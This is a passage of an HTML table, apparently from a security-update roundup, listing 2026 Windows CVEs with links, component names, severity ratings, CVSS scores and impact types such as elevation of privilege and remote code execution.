  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
